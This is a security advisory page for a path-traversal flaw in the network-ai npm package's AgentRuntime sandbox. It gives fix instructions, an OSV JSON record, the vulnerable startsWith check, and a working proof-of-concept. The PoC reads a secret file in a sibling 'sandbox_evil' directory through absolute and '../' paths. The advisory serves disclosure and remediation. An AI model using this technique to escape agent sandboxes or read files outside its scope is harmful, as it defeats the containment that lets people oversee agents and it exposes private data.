GHSA-jvcm-f35g-w78p: Network-AI AgentRuntime Sandbox Path-prefix Checks Allow Vulnerability
MODERATEGHSA-jvcm-f35g-w78p is a MODERATE (CVSS 6.5) agentruntime sandbox path-prefix checks allow vulnerability (CWE-23: Relative Path Traversal) affecting Network-AI libraries in the npm ecosystem. The issue involves agentruntime sandbox path-prefix checks allow file access outside the configured base directory. Remediation is available by upgrading affected packages to version 5.12.2.
GHSA-jvcm-f35g-w78p at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix GHSA-jvcm-f35g-w78p
To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install network-ai@5.12.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls network-ai
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-jvcm-f35g-w78p, inspect your project dependencies using npm:
npm ls network-ai
Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.2), your application is affected.
Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-jvcm-f35g-w78p Affected Network-AI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
network-ai
|
npm |
< 5.12.2
|
5.12.2
|
References
Frequently Asked Questions
What is GHSA-jvcm-f35g-w78p?
Which Network-AI versions are affected?
What version fixes GHSA-jvcm-f35g-w78p?
Is network-ai affected?
What is the CVSS score of GHSA-jvcm-f35g-w78p?
What CWE is associated with GHSA-jvcm-f35g-w78p?
How can I check npm dependencies for GHSA-jvcm-f35g-w78p?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jvcm-f35g-w78p",
"modified" : "2026-06-19T21:42:29Z",
"published" : "2026-06-19T21:42:29Z",
"aliases" : [ ],
"summary" : "Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory",
"details" : "### Summary\n`AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`.\n\nAn agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`.\n\n### Details\nThe vulnerable containment check is in `lib/agent-runtime.ts`:\n\n```ts\nresolvePath(filePath: string): string | null {\n const normalized = normalize(filePath);\n const absolute = isAbsolute(normalized)\n ? normalized\n : join(this.config.basePath, normalized);\n const resolved = resolve(absolute);\n\n // Traversal check\n if (!resolved.startsWith(this.config.basePath)) return null;\n return resolved;\n}\n```\n\n`startsWith()` is not path-boundary-aware. If `this.config.basePath` is `/tmp/network-ai-sandbox`, then `/tmp/network-ai-sandbox_evil/secret.txt` also starts with `/tmp/network-ai-sandbox` despite being outside the sandbox.\n\nThe same pattern appears in `SandboxPolicy.isPathAllowed()` for allowed and blocked paths. `FileAccessor.read()`, `FileAccessor.write()`, and `FileAccessor.list()` rely on these checks before I/O, and `AgentRuntime.readFile()` exposes this behavior. Reads auto-approve by default when `autoApproveReads` is enabled.\n\nAffected source evidence:\n\n- `lib/agent-runtime.ts:393-423` — `isPathAllowed()` / `resolvePath()` use string `startsWith()` containment.\n- `lib/agent-runtime.ts:669-691` — file read sink relies on those checks.\n- `lib/agent-runtime.ts:933-958` — `AgentRuntime.readFile()` exposes file reads.\n\n### PoC\nRun from the repository root after installing dependencies:\n\n```bash\nnode -r ts-node/register/transpile-only - <<'TS'\nconst { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require('fs');\nconst { tmpdir } = require('os');\nconst { join } = require('path');\nconst { AgentRuntime } = require('./lib/agent-runtime');\n\n(async () => {\n const parent = mkdtempSync(join(tmpdir(), 'network-ai-poc-'));\n const base = join(parent, 'sandbox');\n const sibling = join(parent, 'sandbox_evil');\n mkdirSync(base);\n mkdirSync(sibling);\n writeFileSync(join(sibling, 'secret.txt'), 'SECRET_OUTSIDE_SANDBOX', 'utf8');\n\n const runtime = new AgentRuntime({\n policy: { basePath: base, allowedPaths: ['.'], allowedCommands: [] },\n });\n\n const absoluteRead = await runtime.readFile(join(sibling, 'secret.txt'), 'poc-agent');\n const relativeRead = await runtime.readFile('../sandbox_evil/secret.txt', 'poc-agent');\n console.log(JSON.stringify({\n base,\n outside: join(sibling, 'secret.txt'),\n absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },\n relativeRead: { success: relativeRead.success, content: relativeRead.content },\n }, null, 2));\n rmSync(parent, { recursive: true, force: true });\n})();\nTS\n```\n\nObserved result: both reads succeed and return `SECRET_OUTSIDE_SANDBOX`, even though the file is outside `basePath`.\n\n### Impact\nAn agent/user with access to `AgentRuntime` file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses `FileAccessor.write()` directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "network-ai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.12.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.12.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-jvcm-f35g-w78p"
}, {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Jovancoding/Network-AI"
}, {
"type" : "WEB",
"url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-23" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:42:29Z",
"nvd_published_at" : null
}
}